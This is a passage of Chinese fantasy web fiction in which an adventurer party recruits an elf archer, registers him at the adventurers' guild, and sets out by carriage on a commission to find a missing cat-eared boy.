艾伯特不可能因为抱歉就去毁掉自己的人生。 正如违背婚约是艾伯特的选择,加入冒险团,也是妮娜的选择。 既然是选择,就要为此付出代价,担负责任。 自从决定成立冒险团那一刻,艾伯特就开始物色团队成员,梅茜是第一个锁定的。 作为善魔,梅茜虽然看起来不过将近三十,实际上已经活过百年,阅历和能力都远超常人。 虽然现在对善魔的歧视尚未完全消除,但在高等学府,即使有些人心里有不同的情绪,也不会像以前那么明目张胆表露在外。 他和梅茜不是同学,梅茜早在很久之前就已经毕业了。艾伯特认识她,是因为梅茜担任过他们的魔法课助教。 他上过她的几节课,因为热心帮忙取过几次魔药,做过几次实验,比其他学生要熟一些,但也仅止于此了。 艾伯特其实也没有完全的把握,这位的学姐兼老师会接受一个曾经的学生的邀请。 没想到,正巧梅茜那段时间正好打算进行旅行研究,按她的说法叫“出门走走”。 艾伯特的邀请来的恰到好处,梅茜这些年都是一个人独来独往,也有点腻了,参加冒险团? 好像有点幼稚,不过玩玩也好。 她也听说了这位学弟的“光辉事迹”,看在之前的情分上,帮帮忙也行。 第二位就来的出乎意料。 那天,艾伯特好不容易游说完梅茜加入冒险团。 他前脚刚踏出学者所在的塔楼,后脚就碰见妮娜拦在他的面前,语气有些得意地宣布自己的决定。 那一刻,艾伯特也说不上自己什么心情,他只是站在那里,一言不发,等妮娜说完,他点点头,从她的身边匆匆走过。 后来想,可能是心累。 艾伯特认同妮娜的能力,他知道她不是那种只会依附他人的菟丝花。 可是如果婚约就仅是妮娜加入冒险团的原因,他实在无法认同。 他不会强硬要求妮娜退出冒险团,但是,既然加入,艾伯特对她的要求不会低于任何一个人。 如果做不到,就只能烦请离开。 诺曼是妮娜家族雇佣来的,负责后勤。不过除了那些生活工作,诺曼本身也是有点本事,当个盾卫也算绰绰有余。 艾伯特和他倒是早就认识了,可惜不是什么良好的开端。 那是一个风和日丽的上午,满怀希望的少年踏入了王都学院,正好奇地四处张望,带着几分憧憬与小心。 忽然,一只大手拍了拍他的肩,他转头一看,那人笑容爽朗,一双黑瞳充满善意,对他说:“嗨,学弟,刚来的新生?” 他点点头。 “那要不要办块通 讯魔石吗?我给你最实惠的价!” 艾伯特办了。 后来他才发现,学院里有免费的魔石额度发放,根本用不着自己去办。 而且外面办的通讯魔石,在特殊的学院考试中也根本不能使用。 他才知道,诺曼确实是他的学长。 只不过是十年前的。 不过一块魔石价格也不算太贵,艾伯特平时外出用用也算方便。 他还是会联系诺曼,虽然诺曼之前算是坑了他一把,但是诺曼不愧是老学长。 他不仅有各种各样的题库,还能知道一些旁人不知道的消息,比如学院部门最近会不会突击检查,比如哪个老师脾气比较好,哪个老师最喜欢折磨学生。 还是很有用的。 只是有一次,那时艾伯特在学院里住宿,有个狼人室友半夜总爱唱歌,声音不算特别大,但是是真正意义上鬼哭狼嚎。 艾伯特说了几遍,室友都不听,说狼人的本性就是这样。 艾伯特很想尊重室友的本性,可惜没人尊重他的睡眠。 他算是诺曼的大客户之一,有一次两人在线下碰面,诺曼看着他眼下的青黑,忍不住好奇,艾伯特就把这件事情说给了他。 诺曼倒是很仗义,说可以替他处理,就是要借用一下艾伯特的魔石。 艾伯特当时可能是精神衰弱,没想太多,反正他平时也不怎么用这块魔石,就答应了下来。 现在再看,当时脑子可能真的不太聪明,居然真的相信诺曼会有什么体面的解决方案。 艾伯特的寝室在一楼,诺曼半夜溜到他们寝室楼下,把那位狼人同学的声音录了下来。 然后,他把录音发给了负责艾伯特这一届的导师。 其实发就发了,问题是为什么要用他的魔石发,一溯源魔力不就暴露了吗!? 可想而知,在月黑风高的半夜,导师正躺在床上,或许正准备进入梦乡。 忽然接到学生的消息,以为有什么紧急情况,迷迷糊糊地点开,然后就听到那么一段,幽怨切切的哭嚎之声…… 听说导师的那块魔石用了好几年,在那一天终于寿终了。 然后当然很不幸的还是被发现了。 艾伯特咬着牙说明了情况,当时,那个管理人员的表情十分微妙。 艾伯特很想说想笑就笑吧。 后来学院念在他是初犯,没给他处分,艾伯特又重新写了五千字检讨交给辅导员。 虽然说事情也算解决,那个室友也受到了教育,搬去了一个全员狼人的寝室,听说再也没有在半夜一展歌喉。 诺曼为了补偿,免费把所有科目的资料都给了他,并承诺以后消息都第一时间免费提供。 当然,诺曼大部分时间还是靠谱的。 不过如果时间能回溯到那一天的话,艾伯特一定会看着他的眼睛,坚定地说出那两个字: 退钱。 艾伯特是第一次担任冒险团团长,他之前也很少管理团队,自知缺乏经验,也愿意听取建议,一同成长。 但这一点,他决心对所有人一视同仁。 包括他自己。 艾伯特想着想着,忍不住又笑了,没想到自己也有这么严肃的一天。 心里紧张吗?那是肯定的。 但是同时,期待也同时在躁动。 完全离开家,和认识的伙伴一同前往未知的目的地,完全和书里的那些传奇的开端一模一样。 特别是,还有一个,他从未想过会出现在他身边的……存在。 那么强大,那么漂亮。 他捂住心口,感受着自己的心跳,对着天花板,嘴角勾起明显的弧度。 要和那个精灵,一起冒险了吗…… 和精灵去冒险啊。 艾伯特用被子把自己包起来,只露出一双紫色眼睛,怎么也压不下去脸上的笑容。 好幸福啊好幸福。 他在床上滚了两圈,随后掀开被子,一跃而起。 由于起的太快,他不小心扯到了头发。 艾伯特嘶了一声,但没在乎。 他胡乱穿好拖鞋,然后轻快地冲向了浴室。 算了,睡不着就不睡了。 艾伯特觉得现在就开始拾掇自己。 明天,他要以最完美的状态,迎接冒险团最后一位成员的正式加入。 带上那么亿点点私心。 5. 迷路 “所以,你就一晚没睡?” 诺曼看着旁边精神抖擞的少年,不禁抽了抽嘴角。 艾伯特没有回答他的问题,他站在阿方索的房门外,神情异常亢奋。 显而易见,艾伯特明显精心准备过,每一根发丝都被梳理得恰到好处,胸前的徽章连坠链都闪闪发亮。 特别是那双暗紫色的眼睛,明明明显有些疲惫,眼白处布满了血丝,仿佛红色的蛛网。 可是细看深处,又仿佛藏着一团暗火,正熊熊燃烧。 “我完全不累。”艾伯特眼神紧盯着房门,语气尽量放轻,但是仍然有压制不住的雀跃满溢而出。 “而且,昨天晚上我忘记告诉他餐厅的位置了,我不带他去,万一迷路了怎么办呢?”他满是担心地补充道。 担心一个精灵迷路吗?那很需要担心了。 以精灵的实力,别说在宅邸里面,在这个小镇横着走都没人敢管吧。 诺曼眼神复杂,他不信艾伯特不累,可他也真的信艾伯特不累,这种情况,类似于陪感兴趣的人去看自己不感兴趣的剧目,一不小心意识昏沉。 按理来说,应该算是睡了,但确实也没睡。 如果倒霉被发现的话,这个时候,看着对方的眼睛,说你比剧目更让我着迷,才是最好的答案。 不过这个人看起来似乎真的入迷了。 如果目光能有实体,诺曼都觉得艾伯特要把门板盯穿了。 算了,也是人之常情。 诺曼没想到自己能看到这个。他一早起床,原本打算去餐厅给自己寻觅点食物,想趁正式出发之前再多品尝下镇里美食。 毕竟等出发之后风餐露宿,可就没有那么好的运气时时刻刻都能吃到适口的饭菜了,见到美丽的女仆小姐了。 结果没想到没走两步,就碰见了团长站在新人的门口,行迹可疑。 “……你要在这里等多久啊?”诺曼歪歪头,看了看紧闭的房门,又转过头看向艾伯特。“你知道人家几点起床,几点出门吗?” “不知道。” “那你就在这里一直等着?” “总不能打扰人家休息吧?”艾伯特终于给了他一个眼神,语气理直气壮。 诺曼觉得哪里不对,但是又说不出来什么。 最终,他选择尊重艾伯特的选择。 “行吧,那你就等着吧。我先吃饭去了。”诺曼点头,他摊摊手,转头准备离开。 年纪大咯,诺曼也陪不了这种小年轻折腾。 艾伯特愿意等就等吧,反正他是真的饿了。 然而,刚转过身,诺曼就愣住了。 走廊尽头,妮娜正提着裙摆,面色不善地向这边走来,精灵穿戴整齐,认真地跟着她的步伐,一步步靠近。 梅茜懒洋洋地落在最后,一抬眼,她看见门前的诺曼和艾伯特,忽然露出了意味不明的微笑。 诺曼看看他们,又转过头看看还在努力开屏的艾伯特,停下来了离开的动作。 哦豁,事情有趣起来了。 阿方索起床的时候,天色还未完全亮起。 还早。 他翻身起床,坐在床边,发了一会儿呆,然后慢吞吞地挪到窗前,伸出手指,把窗帘拨开,轻轻推开了一点窗户。 微凉的空气随着缝隙触摸他的脸颊,带来不远处的青草气息。 精灵眨了眨眼,似乎清醒了一些。 他又走回床边,拿起昨晚放在床头柜上的细绳,简单用手梳拢了几下头发,将其在颈后系起。 转头去洗漱间,拧开水龙头的瞬间,精灵的手指顿了顿。 水流从金属制成管道中流出,他沾了一点在指尖,轻轻磨蹭了一下,才继续整理自己。 系好羽饰,带上项链,调整好耳边的金环,确认好一切无误后,精灵对镜子里的自己点了点头。 他走出洗漱室,取下墙上的木弓背在身上。 “嗯,我知道。”精灵对空气说,“该吃饭了。” 他用的是精灵语,格外流畅。 无人回应,阿方索也并没有等待谁来回答,他推开了房门,走了出去。 时间还早,还未到清洁的时间,走廊里没有人的身影,很安静,挺好的。 但是…… 阿方索看着空无一人的走廊,陷入了沉默。 ………… 餐厅,在哪来着? 妮娜屋子的窗帘今天反常地很早就被拉开。 她起身早,反正睡不着,干脆拿出药剂箱,开始收拾起来。 瓶瓶罐罐排列整齐,被一一拿出,又一一放回。 整理时,妮娜翻到自己在学院时的笔记本,那本子极厚,皮质的封面已经有些发旧,边缘被一片片书签做满了标记。 她翻开一页,看着上面密密麻麻的文字和图画,莫名眼眶有些发酸。 妮娜说不清这股情绪到底从何而来,又从何时起存在。 在她看来,自己付出的努力从来不比任何人要少,为什么到头来得不到自己想要的。 得知被拒绝婚约时,她无疑是不甘和委屈的。 但艾伯特无视她走去的那一刻,妮娜心里是真的感到了刺痛。 看到他对那个第一次见面的精灵如此热情,她更是不爽,对那个新人态度也随之冷淡。 妮娜知道这不是那个精灵的错,但是她改不了,也不想改。 如果什么事情按照情理来说得通的话,那为什么艾伯特要拒绝婚约呢? 妮娜感到心酸。但那股心酸没有持续太久,就被窗外莫名传来树叶的窸窣声打断。 她下意识抬起头。以这个角度看,窗外一切正常。 妮娜站起身,绕过书桌,推开窗户。一探出头去,就看到一个身影轻盈地半膝跪在在树上。 精灵一只手扶着树枝,也向这边望过来。 四目相对。 “抱歉。”过了一会,阿方索开口。“……我,吵。” “你为什么在这里?”妮娜拧着眉问。 “迷路。”精灵言简意赅。 妮娜听见这个回答,沉默了,她没有回话,只是眼神复杂的看着阿方索。 两人间安静良久,还是精灵先开了口。 “请问,餐厅……在哪里?” 妮娜直勾勾看着眼前的少年,缓缓握拳,终究又缓缓松开。 宅邸的餐厅里,妮娜看着面前可口的饭菜,食欲全无。 她干脆放下了刀叉,撑腮盯着对面正进食的少年。 精灵没在乎妮娜的视线,动作很自然,他切了一块面包,又尝了一下旁边的奶油蘑菇汤。 那碗汤似乎很合他的口味,那双漂亮眼睛微微亮起。 他继续把奶白色的汤汁慎重地用勺子舀起来,送入嘴边,然后咽下。 精灵的动作有些迟缓,但绝非一窍不通的笨拙,甚至有些说不清的优雅。 一个念头莫名出现在她的脑海。 原来精灵不是只吃果实和喝露水啊。 而且看起来胃口还挺好的。 妮娜说不清心里是新奇还是失望,她低头切盘子里的培根,力道有些愤愤。 阿方索没想那么多,他只是专注地吃饭。 他进食向来很快。觉得自己不饿了,阿方索放下刀叉,无所事事,就抬头好奇地打量周围。 餐厅里人数不多只有几个仆人在整理卫生。 一个女仆正在擦拭玻璃,阿方索看着她,眼神跟着他手中的抹布移动,这样看了一会。 那女孩发现了,对他害羞地笑了笑。 刚好那块玻璃擦干净了,她把抹布扔进桶,拎着头,红着脸小跑离开了。 阿方索眼神跟随着她离去的背影,歪了歪头。 梅茜就是这时候进来的,她与那位少女正好迎面。 在两人即将相撞的前几秒,梅茜轻咳了一声,稍稍往后退了一步。 女仆迅速 反应过来,红着脸对她快速地行礼,善魔也笑眯眯地点了点头,两人便就此分开。 梅茜转开视线,看到餐桌上气氛微妙的二人,脸上的笑容加深了。 “哟,小妮娜,今天起的这么早啊?”梅茜绕了绕发梢,尾巴愉悦地小幅度摆动,语气有些意味深长。 妮娜的耳根有些发红,她避开了话题,语气有些生硬:“谁叫有人迷路了往树上跳,害得我睡不着。” 阿方索听到这句话,略微地思索了一下,然后举起了手,与面部平齐。 “是我。”他说。 “找不到路。妮娜,带我来。” 说完,阿方索比了一个赞的手势。 他语气太过认真,妮娜都不知道他是装不懂还是真不懂。 梅茜的表情有点微妙,她想笑,但是忍住了。“艾伯特没和你说吗?哦,他好像真的没和你说,昨天有点太急了。” 阿方索点点头,他把手放下。 梅茜看了眼墙上钟表,眉梢轻挑。“不过按理来说,这个时间,我们的团长应该早来吃饭才对,一般他才是第一个。” 妮娜这才反应过来,艾伯特往往是他们中起得最早、也是吃饭最积极的一个。 这个时候还没来,不太对劲。 “所以,他人呢?”妮娜声音有些疑惑。 梅茜没有立刻应答,她把视线移向不远处的精灵。阿方索对上梅茜的目光,眼神依旧清澈。 善魔轻轻叹了一口气,指尖点了点自己的下唇,嘴角的弧度却变得更深。她盯着阿方索,笑着开口: “你说,会不会是想带某位新人一起去餐厅,结果恰巧错过,现在还在房门门口等着呢?” 精灵的表情依旧平静。妮娜意识到了什么,她重重放下了手中的餐具。 “所以,就刚好错过了呗。”诺曼呲个大牙,明显幸灾乐祸。 艾伯特捂住自己的眼睛,躲避周遭的视线,露出的部分红的出血。 “抱……抱歉。”艾伯特嗫嚅说,他声音很低,头发似乎都因为心情有些暗淡,“我出门得太晚了——” “不怪你。”精灵说。 他不知何时靠近了过来。 艾伯特下意识被那张放大的脸震得瞳孔微缩,脸瞬间更加绯红,嘴唇颤抖得很厉害,结结巴巴像是想说什么,但是完全说不出口。 精灵轻轻抬起手,一抹微光从他的指尖出现,流入眼前少年的身体。 那是一种全新的体验。艾伯特感觉到有一阵清流涌入,流遍全身。 微凉,但是极为舒适。 大脑中原本积累的疲惫随着流淌消失殆尽,如同沉重的包袱被一只手小心拿下,整个人都变得轻松起来。 是精灵的治愈术吗?跟他之前接触的那些治愈相关的魔法带来的感受完全不一样,而且阿方索做起来好轻松。 “你,累。”精灵少年看着他,说,“眼睛,红。” 艾伯特现在是真的的生理上和精神上都完全不累了。 但是他完全没法做出任何反应也完全说不出一句话,好看的唇抿成一条直线,艾伯特木木地盯着面前的精灵。 “所以你们已经吃完早餐了?还合胃口吗?”诺曼笑着拍了拍阿方索的肩膀,解救了一下被迷得七荤八素的年轻团长。 “那个白色的汤。好喝。”精灵被转移了注意力,看向诺曼。 “说的是奶油蘑菇汤吧?”诺曼笑了两声,“这个我也会。以后有机会尝尝我的手艺,保证不亚于这里的厨子哦~” 精灵目光坚毅地点了点头。 妮娜哼了一声,“我只吃了一半。” “我也没吃。”梅茜摆了摆手,她伸了个懒腰,“行了,现在人已到齐了,快点去吃饭吧。” 她转过身,示意其他人跟上,“这个时间,快点吃的话,说不定还能赶上第一批工会测试哦?” “好了好了,”诺曼拍了拍手,接话,“事已至此,先吃饭吧。” 6. 登记 一行人人真正踏出宅邸门的时候,太阳尚未当空。 在风格各异,但外貌都无异相当优秀的冒险团成员中,一个沉默的身影显得有些突兀。 那道安静的影子一出现在沃德宅邸门前,顿时就吸引了不少视线。 艾伯特默默退后一步,下意识挡住了那些不知善恶的目光。 梅茜说的是对的。 就在不久之前,几人都用餐完毕,正要准备出发时,阿方索刚刚起身,梅茜就叫住了他。 她用纸巾轻轻擦拭了下嘴角,抬眼看向阿方索,语气平和地说:“你最好像昨天那样,带好兜帽再出去。” 精灵没有犹豫,直接把兜帽扣了下来。 艾伯特不太理解为什么,他犹豫一下,问:“不带不可以吗?” 精灵听见,把兜帽掀了起来。 “如果你想让我们出不了门的话,可以。”梅茜摇了摇手指,“虽然我昨天拉着他跑的够快,但是不可能一个人都没有察觉,估计外面已经有些风声了。别把事情闹大。” 艾伯特转过头,看着身边的精灵,精灵也看着他。 艾伯特端详了一下阿方索的脸,然后闭上眼睛,低下了头。 “……还是,带上吧。”艾伯特有气无力地说。 长成这样,确实很难不引起过度关注。 “哦。”阿方索没有多问,顺从地带上了兜帽。 灰朴的布料将精灵大部分面容都遮掩起来,只留下线条优越的下巴和一小部分发丝,长耳上的金环偶尔散出细碎的流光。 反而呢,感觉更神秘了。 诺曼欲言又止,犹豫再三,他最终还是开口。 “我有句话,不知当讲不当讲。” “那就别讲。”梅茜无情地打断。 “哦。”诺曼乖巧地没有继续多说,用手给自己的嘴上了个拉链。 妮娜瞥了一眼,别扭地扭过头去。 艾伯特有些不安,他下意识侧过头,想要确认精灵的状态,却发现阿方索神态自若。 精灵发现艾伯特看过来,还朝他轻轻点了一下头。 果然,是自己想多了。 能在如此年轻的年纪就离开家乡,不知行走了多远的路途,来到这样鱼龙混杂的小镇,阿方索绝不会如同他的外貌一般易碎。 艾伯特说不上自己究竟是什么感觉。 心如同涨满一般,他深吸一口气,随后,露出了一个灿烂无比的笑容。 艾伯特自然地后退一步,与阿方索并肩。 “我们出发吧。”他眉眼弯弯,“公会测试的场地离得不远,我们很快就能到。” 阿方索看见他的笑脸,不自主顿了一下。 然后,精灵点了点头。 公会的训练场还算热闹,形形色色的人聚集在大厅里。外貌普通的人类,拥有动物特征的兽人,甚至还有几个矮人在人群的膝盖里穿梭。 不少人在前台排队登记,训练场进进出出的冒险家,脸上的表情也是五花八门,真正意义上的有人欢喜有人愁。 “明明是第一批,没想到人还不少啊。”诺曼感叹。 “还有两天这一批次的冒险团审批期就要截止了,情况正常。”梅茜淡淡开口,“加上之前没通过的,总有人想再碰碰运气。” “试炼,很难?”精灵忽然开口。 “之前公会发布了数据,基本每参与测试十个人中,只有不到一半能顺利通过获得资格。”艾伯特解释道。“弓手在其中算是最难的的一类,特别极端的年份,甚至有十不存一的情况出现。” 阿方索转头看他,艾伯特慌乱了一瞬,但是强行没让自己表现出来。 他垂下视线,欲盖掩章般咳了一声,小声补充。 “……不过,你肯定是可以的啦。” 精灵点点头,没说话。 轮到他们登记的时候,负责的工作人员是一位看起来笑眯眯的狐狸,一头灰色短发,穿着一身合体的制服,雪白的尾巴时不时摇晃。 “您好,工号737,很高兴为您服务。” “您好,曙光冒险团登记弓手,申请测试。” 艾伯特递上了相关的证件,737笑眯眯地接过。 在看见报表种类上的精灵的时候,他的目光停了一下,微微抬眼,扫了眼那个穿着斗篷的身影,然后很快恢复正常。 “这样嘛……那么,请随我来。” 说着,狐狸顺手把面前正在营业的牌子翻了一面,露出了另一面: 停止接待。 身后排队的人发出不满的抱怨,然而737没有在意,他脸上仍然带着完美无缺的笑容,“今天特殊情况。抱歉各位,麻烦到其他窗口办理哦。” 737走出柜台,视线在冒险团众人中逡巡,最终,他停在了那位最特殊的客人身上。 737柔顺地垂下眼睫,他弯下腰,摆出了一个极其标准的让姿。 “那么,请随我来。” 柔软的沙发熏着淡淡的不知名的花香,透明的茶几上摆着精致的杯具,狐狸动作优雅地替他们斟满。 艾伯特从来不知道这个小镇冒险家公会竟然有这样的房间。 推开房门时,心里没有惊讶的,估计只有阿方索一人。 即使是在沃德家在这里的宅邸里的房间,也很难与这里媲美。 整个房间整洁舒适的不像是在小镇里能找到的地方。 “诸位请坐。”狐狸笑眼眯起,“这里是我们VIP招待室,专门招待一些特殊的客人,平时并不对外开放。” “来到这里并不是有什么特别的试炼,只是想确认一下一些东西。” “所以,不需要弓手试炼了吗?”梅茜追问。 “不需要哦。”狐狸前台摆摆手,“虽然明面上没有任何一个精灵正式地参加我们的工会,但是实际上也不是全无合作。为了不耽误诸位的时间,一点点小小的特权,还是很方便的哦。” “只要,证明真的是精灵。” 他直白地看向阿方索。 “既然都到了这里,露出容貌也没关系了吧。” 精灵下意识看向身边艾伯特,艾伯特点点头。 看他同意,阿方索就解下了兜帽。 一瞬间,那张过分精致的脸庞就完全暴露在空气之中。 那容貌超乎一切想象,似乎天生就不该在尘俗之中。 但是它就是出现在了这里。 该说不愧是见多识广的工会前台吗? 即使对着这样的一张脸,737脸上仍然维持着笑容,看不出有特别的惊艳。 “可以了。” “这就可以了?”妮娜诧异,她还以为会有什么特殊的测试结果,摘下兜帽就可以了吗? “这张脸就足够了哦。” 行。 737转过身,走向一旁的柜子,变魔术一般,从里面拿起了一个小小的令牌。 “这就是作为弓手的象征了,麻烦收好。里面有公会特有的协议魔法,只要拥有这款令牌,就是被公会承认的冒险团弓手,不仅可以享受福利,必要时,还可以寻求公会的庇佑。” “至于这位在公会里的信息,就不必担心了,之后我会详尽录入的。”狐狸歪了下头,“公会第一位正式登记的精灵,弓手,隶属于曙光冒险团。 “不用担心,一个字都不会错的。” 阿方索接过令牌,刚一到手,硬盘就如同拥有生命一般,散发出一阵金色的淡光。 “这就算绑定了。”737说。 艾伯特虽然觉得这个流程多少有点太过随意。 不过既然已经尘埃落定,他心里终究是松了一口气,了却了一桩心事。 阿方索终于成为了冒险团的正式一员,真好。 “对了,作为新生冒险团,诸位还没有接下第一个委托吧?如果各位不介意的话,我这里有个不情之请。” 737晃了晃耳朵,从怀里拿出了一张叠的整齐的纸。他将纸展开,递到了众人面前。 “这是我亲戚家的孩子,前不久在附近的失语密林里失踪了。”737表情有些落寞,用指尖沾了沾眼角。 “他从小就对药草感兴趣,劝也不听,这下还是出事了。” 艾伯特接过狐狸前台递来的悬赏,几个人也凑过来围观。 上面的照片是一个猫耳少年,下面整齐地写着信息。 维特·尼尔利,猫兽人,年龄十六,原住木林镇,于三天前前往失语密林,至今未归,疑似失踪。现家人寻求有能力者帮助寻找,报酬一百金币,提供线索者亦将重谢。 一切信息都是很正常,报酬也算是相当丰厚。只是少年的 表情看起来有点……奇怪? 即使是照片也能看出表情的不忿,甚至有微微呲牙的迹象,似乎下一刻就要开始哈气。 如果不是上面写着失踪求救,少年的表情更适合在通缉令上。 “他不喜欢拍照。”看见众人的表情,737体贴地补充。 艾伯特张了张口,似乎想说什么,但被另一道声音打断。 “一百金币?真不算少了。”诺曼挑眉。 “家人都很喜欢他,可惜,尼尔利从来都学不会听话。” 话虽这么说,完全听不出有可惜的意味呢。 艾伯特微微抬起手,还没来得及说什么。 “喜欢草药吗?”梅茜摸了摸下巴,“所以,森林里有什么吸引他的东西?” 艾伯特的手放下了。 “这孩子从小就很有个性,我也不知道他在想什么。也不好惊动太大的冒险团,毕竟万一只是一时入迷,也说不清。但是家里实在担心。” “这个价格,勉强走一趟吧,”妮娜甩了一下头发,“毕竟我的第一次委托,可不能太廉价,丢了脸面。” “但是……”即使被打断数次,年轻的团长仍然倔强地开口,“会不会有点……” “可以吗?”一旁沉默许久的精灵忽然开口。 “你也很想去?” “嗯。”阿方索点点头,“失踪,很重要。” 他说,“很多,担心。” 艾伯特大概理解了他的意思,如果不去找那个失踪的人,会有很多的人担心。 其实艾伯特也明白,但是他就是莫名觉得哪里不对劲。 话说狐狸为什么会和猫攀上亲戚啊?? 可是目前好像只有艾伯特自己对这个突如其来的委托有些顾忌,其他人都是同意的态度。 何况阿方索都用这种眼神看着他了,艾伯特也不想让他觉得自己是一个冷漠的人。 “……行。”艾伯特认命般点了点头。 其实他早该认清虽然是团长,但是并没有什么话语权的事实了呢。 “那就太好了呢。”狐狸微笑着说。“那就不耽误各更多时间了。” “不过,如果离开的话,还是重新戴上兜帽比较好哦。” 精灵再次把布料拉上,对他郑重地点了点头。 几人互相对视了一眼,随后一一起身。 狐人微微鞠着躬送他们离开,直到最后一个人转身,他才直起了弯下的腰。 但送客离开之后,狐狸并没有离开房间。 他掩上了门,确保门锁关上之后,慢慢踱步到茶几之前,拿起一枚精致的茶杯,将里面分毫未动的茶水抿了一口,随后放在手中缓缓把玩。 忽然,一阵白光闪过,复杂的阵法纹路在房间的墙角成型。 一双大手从后方伸来,一把搂住正在发呆中狐人的腰,紧紧贴住他的后背。 737没有逃开,反而放松了肩膀,软软依靠在他的怀里。 “真浪费。”狐狸随口说,“临时传送阵好贵的。” “我缺钱还是你缺钱?”不满的声音在耳边响起,咬牙切齿。“这就是你忽然非来这破地方的原因?” 他夺走狐人手中的杯子,摔在远处的地上。 未饮尽的茶水沾湿了昂贵的地毯,珍稀而脆弱的瓷胎瞬间四分五裂。 然而,无人在意。 “哈哈,”737笑得很开心,他把手放在腰间的指节上摩挲,“就算协会是你家开的,也不能这么说啊,多欺负人。” 虽然是抱怨的话,但是听起来就是像撒娇。 那人没回话,愤愤咬了一口他的耳朵,手也像尾巴根探去,用力握住。 737轻哼一声。他抖了一下,但是没有挣开,反而更加放松。 狐人闭上双眼,嗅闻着对方脖颈的气息,闷笑了几声。 “你已经不是小孩子了,路明,别闹。” “那你为什么……” “嗯……因为,真的很有趣呀。”狐狸笑着伸手,抚摸他的脸颊。 “我喜欢有趣的东西。” “就像你……” “就像他。” 737踮脚,凑了上去,嘴角笑意丝毫未减。 “毕竟,那可是精灵……” 他的话语尚余一半,未能说完。 7. 到达 小镇向外延伸的道路上,一辆马车正在行进。 马车上没有马夫,只有两匹枣红色的马勤勤恳恳地前进着。 与普通的马儿不同,这两匹的毛色更加顺亮。 更加与众不同的是,它们的脖颈上带着一串散发着幽光的石头。 艾伯特付过定金走回来的时候,正好看见精灵站在马车的旁边,抬起头打量。 阿方索走上前去,摸了摸其中一匹的头,那匹马儿乖顺地低下头,轻声嘶叫。 精灵眨了眨眼,转过头看向其他人。 “这是冒险家公会培育的新品种,叫做骝。经过训练后,可以通过魔力感知辨别道路,也能在夜间正常活动,节省人力。”梅茜轻声解释。 “……当然,也不能百分之百保证没有差缺,不过在短期路途上,骝马算是性价比算是最高的一档。” 阿方索点了点头,表示知道。 看见艾伯特回来,他放下了手,骝马依依不舍地地蹭了蹭他的手背,精灵摸了摸它的鬃毛,还是转过身去,走向艾伯特。 他走到艾伯特身边,低声说:“很漂亮。” 艾伯特看着面前的阿方索,也点点头。 “……确实很可爱。” 梅茜看着站在一起轻声交谈的两人,没有插话,笑而不语。 “所以,我们就坐这个?”妮娜的声音从旁边传来,有些尖锐。“那多浪费时间啊?而且这车……” “木林镇离这里不算太远,目前看来,坐马车是最好的选择。”诺曼懒懒开口,“不会差多久的,日落前一定能赶到。 他半开玩笑,话语却十分认真。 “小姐,我们经费有限,迫不得已啊。” 妮娜一时语塞,还想说些什么,却注意到冒险团的其他人都在看着自己,阿方索也是。 那眼神与嘲讽无关,但是妮娜莫名说不出更多挑剔的话。 少女别扭地移开视线,冷哼一声,没再说什么,转头上了马车,小皮鞋与地面发出有节奏的哒哒声。 剩下几人面面相觑,诺曼率先开口。 “你们先上去吧。”他指了指旁边的行李,“我先把这些东西搬上去再说。” “毕竟人家可是付了钱了。”诺曼笑嘻嘻地比了个数钱的手势。 “行。”艾伯特说。“你去吧。” 诺曼敬业地去当力工去了。 但是目送完诺曼离开,艾伯特却没有移动,而是把视线转向了一边的善魔,犹豫地开口。 “……那个,梅茜,你能先上车吗?” 梅茜勾了下嘴角,似乎早有预料。 “嗯哼,行啊。”她颔首,向马车门走去,但走到一半,又突然停下脚步。 善魔微微侧过头,眼神落在绿色长发的年轻团长,笑意不减,语气听不出什么情绪,但是传到耳边却格外清晰。 “我当然可以每次都先上马车,但是艾伯特,既然都走到了这里,你也明白,不可能每次都躲开吧?” 艾伯特的手指不自觉动了动,他表情在那一瞬间淡了下来,但还没等他说出什么,梅茜就已经登上了马车。 艾伯特没有追上她,他站在原地,自顾自垂下了眼睫。 “你,不高兴?”精灵刚想跟上,看见身边人的表情,他停下了脚步。 “我是不是……算了。”艾伯特抬起头,神情变得有些落寞,他扯了扯嘴角,笑容有些勉强,“不该让你担心这个的,我们去车里吧。” 艾伯特刚想抬步,就感受到一只手抓住了他的斗篷,他脚步一顿,听到精灵的声音。 艾伯特侧过头,看见了阿方索认真的表情。 “告诉我,解决。”精灵看着面前紫色的眼睛,语气平静却不容置疑,“我们,同伴。” 艾伯特心里温热,那点纠结,不安和委屈烟消云散,都化作了一腔酸涩的柔软。 被纯粹的关心,感觉真好啊。 他舒展了眉目,声音轻快了起来,“……你说得对。” “不过真没有关系,梅茜……是为了我好,我知道。” “我们快点上车吧,诺曼行李都快搬完了。” 阿方索看他表情恢复正常,点点头,放开了手。 “对了,那个,你一会可能要坐我旁边。”艾伯特有些脸红,不好意思地说,“车厢有点行,大家分开坐,可能会有点挤……” 阿方索摇了摇头,低长的淡金色马尾也跟随微动。 “没关系,”他说。 上车的时候,艾伯特刚掀开车帘,就对上了那双琥珀色的眼睛。 是妮娜。 但是艾伯特没有立刻移开,他平静地看着她,倒是妮娜先撑不住,移开了目光。 艾伯特没有说什么,也没有什么特殊的反应,他自然地在对面座椅的中间坐下。 又拍了拍自己左边的位置,示意阿方索这边。 精灵也落座过来。 艾伯特的耳根又泛起了红色。 好近。 他有点僵硬,但是没有移开半分。 梅茜看见艾伯特上车时的样子,忍不住有些讶异。 她刚刚那句话确实有敲打艾伯特的意思,但是也没想一次成功。 艾伯特虽然看起来好说话,但是其实比谁都要固执。 没想到这么有效吗? 梅茜可不觉得完全自己能对这位学弟有这么大的影响力。 诺曼也终于搬完了行李,他一步跨上车厢的时候,腿还在抖,额角还有没完全擦去的汗珠。 他喘着气,一下坐在了艾伯特的另一边。 “总算搬完了。”诺曼瘫在座椅上,连手指都懒得抬起来。“人不多,行李不少啊。” “你收的钱也不比行李少吧。”梅茜毫不留情地戳穿。 “嘻嘻。” 乘客皆已到齐,马车缓缓行驶起来,速度渐渐加快。 不大的车厢内,男女分为两边对坐。 艾伯特把背包放在胸前,从中拿出了薄薄一叠资料。 随后,他把它们放到中间的桌子上,一页页铺开。 “我刚才在冒险家公会那里整理了一些情报,大家一起看看吧。” “维特·尼尔利,除了那些基本信息,还有一些关于他的家人的。”艾伯特拿起了其中一页资料,他父母是普通的农民,家里有一个弟弟、两个妹妹,偶尔做一些小生意,所以家境相对来说富裕一些。他自身因为调制药剂挣了不小数目的钱财。” “倒卖?”诺曼笑了。 “应该算不上。”艾伯特皱了皱眉,“更像是卖那些高级药剂的低配版,而且价格便宜很多。” 